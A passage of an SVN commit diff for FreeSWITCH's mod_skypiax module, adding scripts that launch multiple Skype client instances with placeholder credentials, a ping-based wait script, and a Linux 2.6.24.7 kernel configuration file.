+su root -c "/bin/echo 'skypiax19 xxxx'| DISPLAY=:119  /usr/bin/skype --pipelogin &"
+
+sleep 7
+ /usr/bin/Xvfb :120 -ac & 
+sleep 3
+
+su root -c "/bin/echo 'skypiax20 xxxx'| DISPLAY=:120  /usr/bin/skype --pipelogin &"
+
+sleep 7
+

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/wait.bat

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/wait.bat (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/wait.bat) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/wait.bat	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/wait.bat	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,4 @@
+REM would you believe there is no sleep() in standard windows batchfiles?
+@ping 127.0.0.1 -n 2 -w 1000 > nul
+@ping 127.0.0.1 -n %1% -w 1000> nul
+

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/windows-service (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/windows-service)

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/windows-service/startskype.cmd

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/windows-service/startskype.cmd (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/windows-service/startskype.cmd) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/windows-service/startskype.cmd	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/windows-service/startskype.cmd	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,61 @@
+echo off
+
+REM
+REM you MUST use the new Skype BETA (4.x) for Windows, older versions (3.x) cannot be started this way
+REM
+REM you have to adjust PATH to where the Skype executable is
+set PATH=%PATH%;C:\Program Files\Skype\Phone\
+
+REM echo %PATH%
+
+REM start a Skype client instance that will login to the Skype network using the "username password" you give to it. 
+REM Here xxxx would be the password and skypiax1 the username
+
+start Skype.exe /secondary /username:skypiax20 /password:xxxx
+call C:\wait.cmd 20
+
+start Skype.exe /secondary /username:skypiax19 /password:xxxx
+call C:\wait.cmd 5
+
+REM 
+REM Following Skype client instances are commented out
+REM
+
+start Skype.exe /secondary /username:skypiax18 /password:xxxx
+call C:\wait.cmd 5
+start Skype.exe /secondary /username:skypiax17 /password:xxxx
+call C:\wait.cmd 5
+start Skype.exe /secondary /username:skypiax16 /password:xxxx
+call C:\wait.cmd 5
+start Skype.exe /secondary /username:skypiax15 /password:xxxx
+call C:\wait.cmd 5
+start Skype.exe /secondary /username:skypiax14 /password:xxxx
+call C:\wait.cmd 5
+start Skype.exe /secondary /username:skypiax13 /password:xxxx
+call C:\wait.cmd 5
+start Skype.exe /secondary /username:skypiax12 /password:xxxx
+call C:\wait.cmd 5
+start Skype.exe /secondary /username:skypiax11 /password:xxxx
+call C:\wait.cmd 5
+start Skype.exe /secondary /username:skypiax10 /password:xxxx
+call C:\wait.cmd 5
+start Skype.exe /secondary /username:skypiax9 /password:xxxx
+call C:\wait.cmd 5
+start Skype.exe /secondary /username:skypiax8 /password:xxxx
+call C:\wait.cmd 5
+start Skype.exe /secondary /username:skypiax7 /password:xxxx
+call C:\wait.cmd 5
+start Skype.exe /secondary /username:skypiax6 /password:xxxx
+call C:\wait.cmd 5
+start Skype.exe /secondary /username:skypiax5 /password:xxxx
+call C:\wait.cmd 5
+start Skype.exe /secondary /username:skypiax4 /password:xxxx
+call C:\wait.cmd 5
+start Skype.exe /secondary /username:skypiax3 /password:xxxx
+call C:\wait.cmd 5
+start Skype.exe /secondary /username:skypiax2 /password:xxxx
+call C:\wait.cmd 5
+start Skype.exe /secondary /username:skypiax1 /password:xxxx
+call C:\wait.cmd 120
+NET start AICCU2
+pause 

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/windows-service/wait.cmd

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/windows-service/wait.cmd (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/windows-service/wait.cmd) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/windows-service/wait.cmd	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/configs/windows-service/wait.cmd	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,4 @@
+REM would you believe there is no sleep() in standard windows batchfiles?
+@ping 127.0.0.1 -n 2 -w 1000 > nul
+@ping 127.0.0.1 -n %1% -w 1000> nul
+

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/kernel (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/kernel)

Deleted: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/kernel/config-linux-2.6.24.7-skypiax08D02

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/kernel/config-linux-2.6.24.7-skypiax08D02 (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_skypiax/kernel/config-linux-2.6.24.7-skypiax08D02) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/kernel/config-linux-2.6.24.7-skypiax08D02	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_skypiax/kernel/config-linux-2.6.24.7-skypiax08D02	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2979 @@
+#
+# Automatically generated make config: don't edit
+# Linux kernel version: 2.6.24.7
+# Sun Jun 28 16:53:34 2009
+#
+CONFIG_64BIT=y
+# CONFIG_X86_32 is not set
+CONFIG_X86_64=y
+CONFIG_X86=y
+CONFIG_GENERIC_TIME=y
+CONFIG_GENERIC_CMOS_UPDATE=y
+CONFIG_CLOCKSOURCE_WATCHDOG=y
+CONFIG_GENERIC_CLOCKEVENTS=y
+CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y
+CONFIG_LOCKDEP_SUPPORT=y
+CONFIG_STACKTRACE_SUPPORT=y
+CONFIG_SEMAPHORE_SLEEPERS=y
+CONFIG_MMU=y
+CONFIG_ZONE_DMA=y
+# CONFIG_QUICKLIST is not set
+CONFIG_GENERIC_ISA_DMA=y
+CONFIG_GENERIC_IOMAP=y
+CONFIG_GENERIC_BUG=y
+CONFIG_GENERIC_HWEIGHT=y
+CONFIG_ARCH_MAY_HAVE_PC_FDC=y
+CONFIG_DMI=y
+CONFIG_RWSEM_GENERIC_SPINLOCK=y
+# CONFIG_RWSEM_XCHGADD_ALGORITHM is not set
+# CONFIG_ARCH_HAS_ILOG2_U32 is not set
+# CONFIG_ARCH_HAS_ILOG2_U64 is not set
+CONFIG_GENERIC_CALIBRATE_DELAY=y
+CONFIG_GENERIC_TIME_VSYSCALL=y
+CONFIG_ARCH_SUPPORTS_OPROFILE=y
+CONFIG_ZONE_DMA32=y
+CONFIG_ARCH_POPULATES_NODE_MAP=y
+CONFIG_AUDIT_ARCH=y
+CONFIG_GENERIC_HARDIRQS=y
+CONFIG_GENERIC_IRQ_PROBE=y
+CONFIG_GENERIC_PENDING_IRQ=y
+CONFIG_X86_HT=y
+# CONFIG_KTIME_SCALAR is not set
+CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
+
+#
+# General setup
+#
+CONFIG_EXPERIMENTAL=y
+CONFIG_LOCK_KERNEL=y
+CONFIG_INIT_ENV_ARG_LIMIT=32
+CONFIG_LOCALVERSION="skypiax08D01"
+# CONFIG_LOCALVERSION_AUTO is not set
+CONFIG_SWAP=y
+CONFIG_SYSVIPC=y
+CONFIG_SYSVIPC_SYSCTL=y
+CONFIG_POSIX_MQUEUE=y
+CONFIG_BSD_PROCESS_ACCT=y
+# CONFIG_BSD_PROCESS_ACCT_V3 is not set
+CONFIG_TASKSTATS=y
+CONFIG_TASK_DELAY_ACCT=y
+# CONFIG_TASK_XACCT is not set
+# CONFIG_USER_NS is not set
+# CONFIG_PID_NS is not set
+CONFIG_AUDIT=y
+CONFIG_AUDITSYSCALL=y
+CONFIG_AUDIT_TREE=y
+# CONFIG_IKCONFIG is not set
+CONFIG_LOG_BUF_SHIFT=17
+# CONFIG_CGROUPS is not set
+CONFIG_FAIR_GROUP_SCHED=y
+CONFIG_FAIR_USER_SCHED=y
+# CONFIG_FAIR_CGROUP_SCHED is not set
+CONFIG_SYSFS_DEPRECATED=y
+CONFIG_RELAY=y
+CONFIG_BLK_DEV_INITRD=y
+CONFIG_INITRAMFS_SOURCE=""
+CONFIG_CC_OPTIMIZE_FOR_SIZE=y
+CONFIG_SYSCTL=y
+# CONFIG_EMBEDDED is not set
+CONFIG_UID16=y
+CONFIG_SYSCTL_SYSCALL=y
+CONFIG_KALLSYMS=y
+# CONFIG_KALLSYMS_ALL is not set
+CONFIG_KALLSYMS_EXTRA_PASS=y
+CONFIG_HOTPLUG=y
+CONFIG_PRINTK=y
+CONFIG_BUG=y
+CONFIG_ELF_CORE=y
+CONFIG_BASE_FULL=y
+CONFIG_FUTEX=y
+CONFIG_ANON_INODES=y
+CONFIG_EPOLL=y
+CONFIG_SIGNALFD=y
+CONFIG_EVENTFD=y
+CONFIG_SHMEM=y
+CONFIG_VM_EVENT_COUNTERS=y
+CONFIG_SLAB=y
+# CONFIG_SLUB is not set
+# CONFIG_SLOB is not set
+CONFIG_SLABINFO=y
+CONFIG_RT_MUTEXES=y
+# CONFIG_TINY_SHMEM is not set
+CONFIG_BASE_SMALL=0
+CONFIG_MODULES=y
+CONFIG_MODULE_UNLOAD=y
+# CONFIG_MODULE_FORCE_UNLOAD is not set
+CONFIG_MODVERSIONS=y
+CONFIG_MODULE_SRCVERSION_ALL=y
+CONFIG_KMOD=y
+CONFIG_STOP_MACHINE=y
+CONFIG_BLOCK=y
+CONFIG_BLK_DEV_IO_TRACE=y
+# CONFIG_BLK_DEV_BSG is not set
+CONFIG_BLOCK_COMPAT=y
+
+#
+# IO Schedulers
+#
+CONFIG_IOSCHED_NOOP=y
+CONFIG_IOSCHED_AS=y
+CONFIG_IOSCHED_DEADLINE=y
+CONFIG_IOSCHED_CFQ=y
+# CONFIG_DEFAULT_AS is not set
+# CONFIG_DEFAULT_DEADLINE is not set
+CONFIG_DEFAULT_CFQ=y
+# CONFIG_DEFAULT_NOOP is not set
+CONFIG_DEFAULT_IOSCHED="cfq"
+
+#
+# Processor type and features
+#
+CONFIG_TICK_ONESHOT=y
+CONFIG_NO_HZ=y
+# CONFIG_HIGH_RES_TIMERS is not set
+CONFIG_GENERIC_CLOCKEVENTS_BUILD=y
+CONFIG_SMP=y
+CONFIG_X86_PC=y
+# CONFIG_X86_ELAN is not set
+# CONFIG_X86_VOYAGER is not set
+# CONFIG_X86_NUMAQ is not set
+# CONFIG_X86_SUMMIT is not set
+# CONFIG_X86_BIGSMP is not set
+# CONFIG_X86_VISWS is not set
+# CONFIG_X86_GENERICARCH is not set
+# CONFIG_X86_ES7000 is not set
+# CONFIG_X86_VSMP is not set
+# CONFIG_M386 is not set
+# CONFIG_M486 is not set
+# CONFIG_M586 is not set
+# CONFIG_M586TSC is not set
+# CONFIG_M586MMX is not set
+# CONFIG_M686 is not set
+# CONFIG_MPENTIUMII is not set
+# CONFIG_MPENTIUMIII is not set
+# CONFIG_MPENTIUMM is not set
+# CONFIG_MPENTIUM4 is not set
+# CONFIG_MK6 is not set
+# CONFIG_MK7 is not set
+# CONFIG_MK8 is not set
+# CONFIG_MCRUSOE is not set
+# CONFIG_MEFFICEON is not set
+# CONFIG_MWINCHIPC6 is not set
+# CONFIG_MWINCHIP2 is not set
+# CONFIG_MWINCHIP3D is not set
+# CONFIG_MGEODEGX1 is not set
+# CONFIG_MGEODE_LX is not set
+# CONFIG_MCYRIXIII is not set
+# CONFIG_MVIAC3_2 is not set
+# CONFIG_MVIAC7 is not set
+# CONFIG_MPSC is not set
+# CONFIG_MCORE2 is not set
+CONFIG_GENERIC_CPU=y
+CONFIG_X86_L1_CACHE_BYTES=128
+CONFIG_X86_INTERNODE_CACHE_BYTES=128
+CONFIG_X86_CMPXCHG=y
+CONFIG_X86_L1_CACHE_SHIFT=7
+CONFIG_X86_GOOD_APIC=y
+CONFIG_X86_TSC=y
+CONFIG_X86_MINIMUM_CPU_FAMILY=64
+CONFIG_HPET_TIMER=y
+CONFIG_HPET_EMULATE_RTC=y
+CONFIG_GART_IOMMU=y
+CONFIG_CALGARY_IOMMU=y
+# CONFIG_CALGARY_IOMMU_ENABLED_BY_DEFAULT is not set
+CONFIG_SWIOTLB=y
+CONFIG_NR_CPUS=255
+CONFIG_SCHED_SMT=y
+CONFIG_SCHED_MC=y
+# CONFIG_PREEMPT_NONE is not set
+CONFIG_PREEMPT_VOLUNTARY=y
+# CONFIG_PREEMPT is not set
+CONFIG_PREEMPT_BKL=y
+CONFIG_X86_LOCAL_APIC=y
+CONFIG_X86_IO_APIC=y
+CONFIG_X86_MCE=y
+CONFIG_X86_MCE_INTEL=y
+CONFIG_X86_MCE_AMD=y
+CONFIG_MICROCODE=m
+CONFIG_MICROCODE_OLD_INTERFACE=y
+CONFIG_X86_MSR=y
+CONFIG_X86_CPUID=y
+CONFIG_NUMA=y
+CONFIG_K8_NUMA=y
+CONFIG_X86_64_ACPI_NUMA=y
+# CONFIG_NUMA_EMU is not set
+CONFIG_NODES_SHIFT=6
+CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
+CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
+CONFIG_ARCH_SPARSEMEM_ENABLE=y
+CONFIG_ARCH_MEMORY_PROBE=y
+CONFIG_SELECT_MEMORY_MODEL=y
+# CONFIG_FLATMEM_MANUAL is not set
+# CONFIG_DISCONTIGMEM_MANUAL is not set
+CONFIG_SPARSEMEM_MANUAL=y
+CONFIG_SPARSEMEM=y
+CONFIG_NEED_MULTIPLE_NODES=y
+CONFIG_HAVE_MEMORY_PRESENT=y
+# CONFIG_SPARSEMEM_STATIC is not set
+CONFIG_SPARSEMEM_EXTREME=y
+CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y
+CONFIG_SPARSEMEM_VMEMMAP=y
+CONFIG_MEMORY_HOTPLUG=y
+CONFIG_MEMORY_HOTPLUG_SPARSE=y
+CONFIG_SPLIT_PTLOCK_CPUS=4
+CONFIG_MIGRATION=y
+CONFIG_RESOURCES_64BIT=y
+CONFIG_ZONE_DMA_FLAG=1
+CONFIG_BOUNCE=y
+CONFIG_VIRT_TO_BUS=y
+CONFIG_MTRR=y
+# CONFIG_SECCOMP is not set
+# CONFIG_CC_STACKPROTECTOR is not set
+CONFIG_HZ_100=y
+# CONFIG_HZ_250 is not set
+# CONFIG_HZ_300 is not set
+# CONFIG_HZ_1000 is not set
+CONFIG_HZ=100
+CONFIG_KEXEC=y
+CONFIG_CRASH_DUMP=y
+CONFIG_PHYSICAL_START=0x200000
+# CONFIG_RELOCATABLE is not set
+CONFIG_PHYSICAL_ALIGN=0x200000
+CONFIG_HOTPLUG_CPU=y
+CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y
+CONFIG_HAVE_ARCH_EARLY_PFN_TO_NID=y
+
+#
+# Power management options
+#
+CONFIG_PM=y
+CONFIG_PM_LEGACY=y
+# CONFIG_PM_DEBUG is not set
+CONFIG_PM_SLEEP_SMP=y
+CONFIG_PM_SLEEP=y
+CONFIG_SUSPEND_SMP_POSSIBLE=y
+CONFIG_SUSPEND=y
+CONFIG_HIBERNATION_SMP_POSSIBLE=y
+# CONFIG_HIBERNATION is not set
+CONFIG_ACPI=y
+CONFIG_ACPI_SLEEP=y
+# CONFIG_ACPI_PROCFS is not set
+CONFIG_ACPI_PROCFS_POWER=y
+CONFIG_ACPI_SYSFS_POWER=y
+CONFIG_ACPI_PROC_EVENT=y
+CONFIG_ACPI_AC=m
+CONFIG_ACPI_BATTERY=m
+CONFIG_ACPI_BUTTON=m
+CONFIG_ACPI_FAN=y
+CONFIG_ACPI_DOCK=y
+CONFIG_ACPI_BAY=y
+CONFIG_ACPI_PROCESSOR=y
+CONFIG_ACPI_HOTPLUG_CPU=y
+CONFIG_ACPI_THERMAL=y
+CONFIG_ACPI_NUMA=y
+CONFIG_ACPI_ASUS=m
+CONFIG_ACPI_TOSHIBA=m
+CONFIG_ACPI_BLACKLIST_YEAR=0
+# CONFIG_ACPI_DEBUG is not set
+CONFIG_ACPI_EC=y
+CONFIG_ACPI_POWER=y
+CONFIG_ACPI_SYSTEM=y
+CONFIG_X86_PM_TIMER=y
+CONFIG_ACPI_CONTAINER=y
+CONFIG_ACPI_HOTPLUG_MEMORY=m
+CONFIG_ACPI_SBS=m
+
+#
+# CPU Frequency scaling
+#
+CONFIG_CPU_FREQ=y
+CONFIG_CPU_FREQ_TABLE=m
+CONFIG_CPU_FREQ_DEBUG=y
+CONFIG_CPU_FREQ_STAT=m
+CONFIG_CPU_FREQ_STAT_DETAILS=y
+# CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE is not set
+CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE=y
+# CONFIG_CPU_FREQ_DEFAULT_GOV_ONDEMAND is not set
+# CONFIG_CPU_FREQ_DEFAULT_GOV_CONSERVATIVE is not set
+CONFIG_CPU_FREQ_GOV_PERFORMANCE=y
+CONFIG_CPU_FREQ_GOV_POWERSAVE=m
+CONFIG_CPU_FREQ_GOV_USERSPACE=y
+CONFIG_CPU_FREQ_GOV_ONDEMAND=m
+CONFIG_CPU_FREQ_GOV_CONSERVATIVE=m
+
+#
+# CPUFreq processor drivers
+#
+CONFIG_X86_ACPI_CPUFREQ=m
+CONFIG_X86_POWERNOW_K8=m
+CONFIG_X86_POWERNOW_K8_ACPI=y
+CONFIG_X86_SPEEDSTEP_CENTRINO=m
+# CONFIG_X86_P4_CLOCKMOD is not set
+
+#
+# shared options
+#
+# CONFIG_X86_ACPI_CPUFREQ_PROC_INTF is not set
+# CONFIG_X86_SPEEDSTEP_LIB is not set
+# CONFIG_CPU_IDLE is not set
+
+#
+# Bus options (PCI etc.)
+#
+CONFIG_PCI=y
+CONFIG_PCI_DIRECT=y
+CONFIG_PCI_MMCONFIG=y
+CONFIG_PCI_DOMAINS=y
+# CONFIG_DMAR is not set
+CONFIG_PCIEPORTBUS=y
+CONFIG_HOTPLUG_PCI_PCIE=m
+CONFIG_PCIEAER=y
+CONFIG_ARCH_SUPPORTS_MSI=y
+CONFIG_PCI_MSI=y
+CONFIG_PCI_LEGACY=y
+# CONFIG_PCI_DEBUG is not set
+CONFIG_HT_IRQ=y
+CONFIG_ISA_DMA_API=y
+CONFIG_K8_NB=y
+CONFIG_PCCARD=y
+# CONFIG_PCMCIA_DEBUG is not set
+CONFIG_PCMCIA=y
+CONFIG_PCMCIA_LOAD_CIS=y
+CONFIG_PCMCIA_IOCTL=y
+CONFIG_CARDBUS=y
+
+#
+# PC-card bridges
+#
+CONFIG_YENTA=y
+CONFIG_YENTA_O2=y
+CONFIG_YENTA_RICOH=y
+CONFIG_YENTA_TI=y
+CONFIG_YENTA_ENE_TUNE=y
+CONFIG_YENTA_TOSHIBA=y
+CONFIG_PD6729=m
+# CONFIG_I82092 is not set
+CONFIG_PCCARD_NONSTATIC=y
+CONFIG_HOTPLUG_PCI=y
+CONFIG_HOTPLUG_PCI_FAKE=m
+CONFIG_HOTPLUG_PCI_ACPI=m
+CONFIG_HOTPLUG_PCI_ACPI_IBM=m
+# CONFIG_HOTPLUG_PCI_CPCI is not set
+CONFIG_HOTPLUG_PCI_SHPC=m
+
+#
+# Executable file formats / Emulations
+#
+CONFIG_BINFMT_ELF=y
+CONFIG_BINFMT_MISC=y
+CONFIG_IA32_EMULATION=y
+# CONFIG_IA32_AOUT is not set
+CONFIG_COMPAT=y
+CONFIG_COMPAT_FOR_U64_ALIGNMENT=y
+CONFIG_SYSVIPC_COMPAT=y
+
+#
+# Networking
+#
+CONFIG_NET=y
+
+#
+# Networking options
+#
+CONFIG_PACKET=y
+CONFIG_PACKET_MMAP=y
+CONFIG_UNIX=y
+CONFIG_XFRM=y
+CONFIG_XFRM_USER=y
+# CONFIG_XFRM_SUB_POLICY is not set
+# CONFIG_XFRM_MIGRATE is not set
+CONFIG_NET_KEY=m
+# CONFIG_NET_KEY_MIGRATE is not set
+CONFIG_INET=y
+CONFIG_IP_MULTICAST=y
+CONFIG_IP_ADVANCED_ROUTER=y
+CONFIG_ASK_IP_FIB_HASH=y
+# CONFIG_IP_FIB_TRIE is not set
+CONFIG_IP_FIB_HASH=y
+CONFIG_IP_MULTIPLE_TABLES=y
+CONFIG_IP_ROUTE_MULTIPATH=y
+CONFIG_IP_ROUTE_VERBOSE=y
+# CONFIG_IP_PNP is not set
+CONFIG_NET_IPIP=m
+CONFIG_NET_IPGRE=m
+CONFIG_NET_IPGRE_BROADCAST=y
+CONFIG_IP_MROUTE=y
+CONFIG_IP_PIMSM_V1=y
+CONFIG_IP_PIMSM_V2=y
+# CONFIG_ARPD is not set
+CONFIG_SYN_COOKIES=y
+CONFIG_INET_AH=m
+CONFIG_INET_ESP=m
+CONFIG_INET_IPCOMP=m
+CONFIG_INET_XFRM_TUNNEL=m
+CONFIG_INET_TUNNEL=m
+CONFIG_INET_XFRM_MODE_TRANSPORT=m
+CONFIG_INET_XFRM_MODE_TUNNEL=m
+CONFIG_INET_XFRM_MODE_BEET=y
+CONFIG_INET_LRO=y
+CONFIG_INET_DIAG=m
+CONFIG_INET_TCP_DIAG=m
+CONFIG_TCP_CONG_ADVANCED=y
+CONFIG_TCP_CONG_BIC=y
+CONFIG_TCP_CONG_CUBIC=m
+CONFIG_TCP_CONG_WESTWOOD=m
+CONFIG_TCP_CONG_HTCP=m
+CONFIG_TCP_CONG_HSTCP=m
+CONFIG_TCP_CONG_HYBLA=m
+CONFIG_TCP_CONG_VEGAS=m
+CONFIG_TCP_CONG_SCALABLE=m
+CONFIG_TCP_CONG_LP=m
+CONFIG_TCP_CONG_VENO=m
+# CONFIG_TCP_CONG_YEAH is not set
+# CONFIG_TCP_CONG_ILLINOIS is not set
+CONFIG_DEFAULT_BIC=y
+# CONFIG_DEFAULT_CUBIC is not set
+# CONFIG_DEFAULT_HTCP is not set
+# CONFIG_DEFAULT_VEGAS is not set
+# CONFIG_DEFAULT_WESTWOOD is not set
+# CONFIG_DEFAULT_RENO is not set
+CONFIG_DEFAULT_TCP_CONG="bic"
+# CONFIG_TCP_MD5SIG is not set
+CONFIG_IP_VS=m
+# CONFIG_IP_VS_DEBUG is not set
+CONFIG_IP_VS_TAB_BITS=12
+
+#
+# IPVS transport protocol load balancing support
+#
+CONFIG_IP_VS_PROTO_TCP=y
+CONFIG_IP_VS_PROTO_UDP=y
+CONFIG_IP_VS_PROTO_ESP=y
+CONFIG_IP_VS_PROTO_AH=y
+
+#
+# IPVS scheduler
+#
+CONFIG_IP_VS_RR=m
+CONFIG_IP_VS_WRR=m
+CONFIG_IP_VS_LC=m
+CONFIG_IP_VS_WLC=m
+CONFIG_IP_VS_LBLC=m
+CONFIG_IP_VS_LBLCR=m
+CONFIG_IP_VS_DH=m
+CONFIG_IP_VS_SH=m
+CONFIG_IP_VS_SED=m
+CONFIG_IP_VS_NQ=m
+
+#
+# IPVS application helper
+#
+CONFIG_IP_VS_FTP=m
+CONFIG_IPV6=m
+CONFIG_IPV6_PRIVACY=y
+CONFIG_IPV6_ROUTER_PREF=y
+CONFIG_IPV6_ROUTE_INFO=y
+CONFIG_IPV6_OPTIMISTIC_DAD=y
+CONFIG_INET6_AH=m
+CONFIG_INET6_ESP=m
+CONFIG_INET6_IPCOMP=m
+# CONFIG_IPV6_MIP6 is not set
+CONFIG_INET6_XFRM_TUNNEL=m
+CONFIG_INET6_TUNNEL=m
+CONFIG_INET6_XFRM_MODE_TRANSPORT=m
+CONFIG_INET6_XFRM_MODE_TUNNEL=m
+CONFIG_INET6_XFRM_MODE_BEET=m
+# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set
+CONFIG_IPV6_SIT=m
+CONFIG_IPV6_TUNNEL=m
+CONFIG_IPV6_MULTIPLE_TABLES=y
+# CONFIG_IPV6_SUBTREES is not set
+CONFIG_NETLABEL=y
+CONFIG_NETWORK_SECMARK=y
+CONFIG_NETFILTER=y
+# CONFIG_NETFILTER_DEBUG is not set
+CONFIG_BRIDGE_NETFILTER=y
+
+#
+# Core Netfilter Configuration
+#
+CONFIG_NETFILTER_NETLINK=m
+CONFIG_NETFILTER_NETLINK_QUEUE=m
+CONFIG_NETFILTER_NETLINK_LOG=m
+# CONFIG_NF_CONNTRACK_ENABLED is not set
+# CONFIG_NF_CONNTRACK is not set
+CONFIG_NETFILTER_XTABLES=m
+CONFIG_NETFILTER_XT_TARGET_CLASSIFY=m
+# CONFIG_NETFILTER_XT_TARGET_DSCP is not set
+CONFIG_NETFILTER_XT_TARGET_MARK=m
+CONFIG_NETFILTER_XT_TARGET_NFQUEUE=m
+# CONFIG_NETFILTER_XT_TARGET_NFLOG is not set
+# CONFIG_NETFILTER_XT_TARGET_TRACE is not set
+CONFIG_NETFILTER_XT_TARGET_SECMARK=m
+# CONFIG_NETFILTER_XT_TARGET_TCPMSS is not set
+CONFIG_NETFILTER_XT_MATCH_COMMENT=m
+CONFIG_NETFILTER_XT_MATCH_DCCP=m
+# CONFIG_NETFILTER_XT_MATCH_DSCP is not set
+CONFIG_NETFILTER_XT_MATCH_ESP=m
+CONFIG_NETFILTER_XT_MATCH_LENGTH=m
+CONFIG_NETFILTER_XT_MATCH_LIMIT=m
+CONFIG_NETFILTER_XT_MATCH_MAC=m
+CONFIG_NETFILTER_XT_MATCH_MARK=m
+CONFIG_NETFILTER_XT_MATCH_POLICY=m
+CONFIG_NETFILTER_XT_MATCH_MULTIPORT=m
+CONFIG_NETFILTER_XT_MATCH_PHYSDEV=m
+CONFIG_NETFILTER_XT_MATCH_PKTTYPE=m
+CONFIG_NETFILTER_XT_MATCH_QUOTA=m
+CONFIG_NETFILTER_XT_MATCH_REALM=m
+CONFIG_NETFILTER_XT_MATCH_SCTP=m
+CONFIG_NETFILTER_XT_MATCH_STATISTIC=m
+CONFIG_NETFILTER_XT_MATCH_STRING=m
+CONFIG_NETFILTER_XT_MATCH_TCPMSS=m
+# CONFIG_NETFILTER_XT_MATCH_TIME is not set
+# CONFIG_NETFILTER_XT_MATCH_U32 is not set
+# CONFIG_NETFILTER_XT_MATCH_HASHLIMIT is not set
+
+#
+# IP: Netfilter Configuration
+#
+CONFIG_IP_NF_QUEUE=m
+CONFIG_IP_NF_IPTABLES=m
+CONFIG_IP_NF_MATCH_IPRANGE=m
+CONFIG_IP_NF_MATCH_TOS=m
+CONFIG_IP_NF_MATCH_RECENT=m
+CONFIG_IP_NF_MATCH_ECN=m
+CONFIG_IP_NF_MATCH_AH=m
+CONFIG_IP_NF_MATCH_TTL=m
+CONFIG_IP_NF_MATCH_OWNER=m
+CONFIG_IP_NF_MATCH_ADDRTYPE=m
+CONFIG_IP_NF_FILTER=m
+CONFIG_IP_NF_TARGET_REJECT=m
+CONFIG_IP_NF_TARGET_LOG=m
+CONFIG_IP_NF_TARGET_ULOG=m
+CONFIG_IP_NF_MANGLE=m
+CONFIG_IP_NF_TARGET_TOS=m
+CONFIG_IP_NF_TARGET_ECN=m
+CONFIG_IP_NF_TARGET_TTL=m
+CONFIG_IP_NF_RAW=m
+CONFIG_IP_NF_ARPTABLES=m
+CONFIG_IP_NF_ARPFILTER=m
+CONFIG_IP_NF_ARP_MANGLE=m
+
+#
+# IPv6: Netfilter Configuration (EXPERIMENTAL)
+#
+CONFIG_IP6_NF_QUEUE=m
+CONFIG_IP6_NF_IPTABLES=m
+CONFIG_IP6_NF_MATCH_RT=m
+CONFIG_IP6_NF_MATCH_OPTS=m
+CONFIG_IP6_NF_MATCH_FRAG=m
+CONFIG_IP6_NF_MATCH_HL=m
+CONFIG_IP6_NF_MATCH_OWNER=m
+CONFIG_IP6_NF_MATCH_IPV6HEADER=m
+CONFIG_IP6_NF_MATCH_AH=m
+# CONFIG_IP6_NF_MATCH_MH is not set
+CONFIG_IP6_NF_MATCH_EUI64=m
+CONFIG_IP6_NF_FILTER=m
+CONFIG_IP6_NF_TARGET_LOG=m
+CONFIG_IP6_NF_TARGET_REJECT=m
+CONFIG_IP6_NF_MANGLE=m
+CONFIG_IP6_NF_TARGET_HL=m
+CONFIG_IP6_NF_RAW=m
+
+#
+# Bridge: Netfilter Configuration
+#
+CONFIG_BRIDGE_NF_EBTABLES=m
+CONFIG_BRIDGE_EBT_BROUTE=m
+CONFIG_BRIDGE_EBT_T_FILTER=m
+CONFIG_BRIDGE_EBT_T_NAT=m
+CONFIG_BRIDGE_EBT_802_3=m
+CONFIG_BRIDGE_EBT_AMONG=m
+CONFIG_BRIDGE_EBT_ARP=m
+CONFIG_BRIDGE_EBT_IP=m
+CONFIG_BRIDGE_EBT_LIMIT=m
+CONFIG_BRIDGE_EBT_MARK=m
+CONFIG_BRIDGE_EBT_PKTTYPE=m
+CONFIG_BRIDGE_EBT_STP=m
+CONFIG_BRIDGE_EBT_VLAN=m
+CONFIG_BRIDGE_EBT_ARPREPLY=m
+CONFIG_BRIDGE_EBT_DNAT=m
+CONFIG_BRIDGE_EBT_MARK_T=m
+CONFIG_BRIDGE_EBT_REDIRECT=m
+CONFIG_BRIDGE_EBT_SNAT=m
+CONFIG_BRIDGE_EBT_LOG=m
+CONFIG_BRIDGE_EBT_ULOG=m
+CONFIG_IP_DCCP=m
+CONFIG_INET_DCCP_DIAG=m
+CONFIG_IP_DCCP_ACKVEC=y
+
+#
